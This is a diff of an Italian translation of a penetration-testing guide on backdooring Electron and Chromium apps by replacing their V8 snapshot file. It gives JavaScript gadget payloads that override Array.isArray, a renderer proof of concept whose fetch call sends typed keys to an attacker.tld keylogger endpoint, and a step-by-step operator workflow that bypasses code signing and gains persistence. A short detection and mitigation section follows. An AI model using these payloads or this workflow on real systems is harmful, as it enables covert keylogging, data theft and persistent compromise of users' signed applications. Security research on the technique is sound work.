+- Effetto: esecuzione affidabile di JavaScript dell'attaccante in qualsiasi isolate sovrascrivendo un builtin usato frequentemente (un “gadget”), permettendo persistenza ed elusione della verifica della firma del codice.
+- Superficie interessata: app Electron (anche con i fuse abilitati) e browser basati su Chromium che caricano snapshot da posizioni scrivibili dall'utente.
 
-Generating a malicious snapshot without building Chromium
-- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
+Generare uno snapshot maligno senza compilare Chromium
+- Usare il prebuilt electron/mksnapshot per compilare un payload JS in uno snapshot e sovrascrivere il v8_context_snapshot.bin dell'applicazione.
 
-Example minimal payload (prove execution by forcing a crash)
+Esempio di payload minimale (provare l'esecuzione forzando un crash)
 ```js
 // Build snapshot from this payload
 // npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@@ -462,11 +485,11 @@ Array.isArray = function () {
 throw new Error("testing isArray gadget");
 };
 ```
-Isolate-aware payload routing (run different code in main vs. renderer)
-- Rilevamento del processo main: globali esclusivi di Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del processo main.
-- Rilevamento Browser/renderer: globali esclusivi del Browser come alert sono disponibili quando si esegue in un contesto document.
+Gestione del routing del payload in base all'isolate (esegue codice diverso nel main rispetto al renderer)
+- Rilevamento del processo main: globali disponibili solo in Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del processo main.
+- Rilevamento browser/renderer: globali disponibili solo nel browser come alert sono disponibili quando si esegue in un contesto di documento.
 
-Esempio di gadget che testa una volta le capacità Node del processo main
+Esempio di gadget che sonda una volta le capacità Node del processo principale
 ```js
 const orig = Array.isArray;
 
@@ -495,7 +518,7 @@ process.exit(0);
 return orig(...arguments);
 };
 ```
-PoC di data theft nel Renderer/browser-context (es. Slack)
+PoC di esfiltrazione di dati da Renderer/browser-context (es. Slack)
 ```js
 const orig = Array.isArray;
 Array.isArray = function() {
@@ -519,27 +542,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
 return orig(...arguments);
 };
 ```
-Operator workflow
-1) Crea payload.js che sovrascrive un comune builtin (es., Array.isArray) e opzionalmente si ramifica per isolate.
-2) Genera lo snapshot senza i sorgenti Chromium:
+Flusso di lavoro dell'operatore
+1) Scrivere payload.js che clobbers un builtin comune (es., Array.isArray) e opzionalmente effettua branch per isolate.
+2) Costruire lo snapshot senza i sorgenti di Chromium:
 - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
-3) Sovrascrivi il/i file snapshot dell'applicazione target:
-- v8_context_snapshot.bin (sempre usato)
-- browser_v8_context_snapshot.bin (se è usato il fuse LoadBrowserProcessSpecificV8Snapshot)
-4) Avvia l'applicazione; il gadget viene eseguito ogni volta che il builtin scelto viene utilizzato.
+3) Sovrascrivere il/i file di snapshot dell'applicazione target:
+- v8_context_snapshot.bin (always used)
+- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
+4) Avviare l'applicazione; il gadget viene eseguito ogni volta che il builtin scelto viene utilizzato.
 
-Notes and considerations
-- Bypass dell'integrità/della firma: I file snapshot non vengono trattati come eseguibili nativi dai controlli di code-signing e (storicamente) non erano coperti dai fuse di Electron o dai controlli di integrità di Chromium.
-- Persistenza: Sostituire lo snapshot in un'installazione scrivibile dall'utente di solito sopravvive ai riavvii dell'app e appare come un'app firmata e legittima.
-- Chromium browsers: Lo stesso concetto di manomissione si applica a Chrome/derivati installati in percorsi scrivibili dall'utente. Chrome ha altre mitigazioni di integrità ma esclude esplicitamente gli attacchi fisicamente locali dal suo modello di minaccia.
+Note e considerazioni
+- Integrity/signature bypass: i file di snapshot non sono trattati come eseguibili nativi dai controlli di code-signing e (storicamente) non erano coperti dai fuses di Electron o dai controlli di integrità di Chromium.
+- Persistence: Sostituendo lo snapshot in un'installazione scrivibile dall'utente tipicamente sopravvive ai riavvii dell'app e sembra un'app firmata e legittima.
+- Chromium browsers: Lo stesso concetto di manomissione si applica a Chrome/derivati installati in posizioni scrivibili dall'utente. Chrome ha altre mitigazioni d'integrità ma esclude esplicitamente gli attacchi fisicamente locali dal suo modello di minaccia.
 
-Detection and mitigations
-- Tratta gli snapshot come contenuto eseguibile e includili nell'applicazione delle misure di integrità (CVE-2025-55305 fix).
-- Preferire percorsi di installazione scrivibili solo dall'amministratore; stabilire una baseline e monitorare gli hash per v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
-- Rilevare la sovrascrittura dei builtin in fase di early-runtime e cambiamenti imprevisti degli snapshot; generare allarmi quando gli snapshot deserializzati non corrispondono ai valori attesi.
+Rilevamento e mitigazioni
+- Trattare gli snapshot come contenuto eseguibile e includerli nell'enforcement dell'integrità (CVE-2025-55305 fix).
+- Preferire location di installazione scrivibili solo da admin; stabilire baseline e monitorare gli hash per v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
+- Rilevare early-runtime builtin clobbering e cambiamenti inattesi degli snapshot; generare alert quando gli snapshot deserializzati non corrispondono ai valori attesi.
 
-## **Riferimenti**
+## **References**
 
+- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
+- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
+- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
+- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
 - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
 - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
 - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@@ -549,7 +576,6 @@ Detection and mitigations
 - [Loki C2](https://github.com/boku7/Loki/)
 - [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
 - [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
-
 - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
 - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
 - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)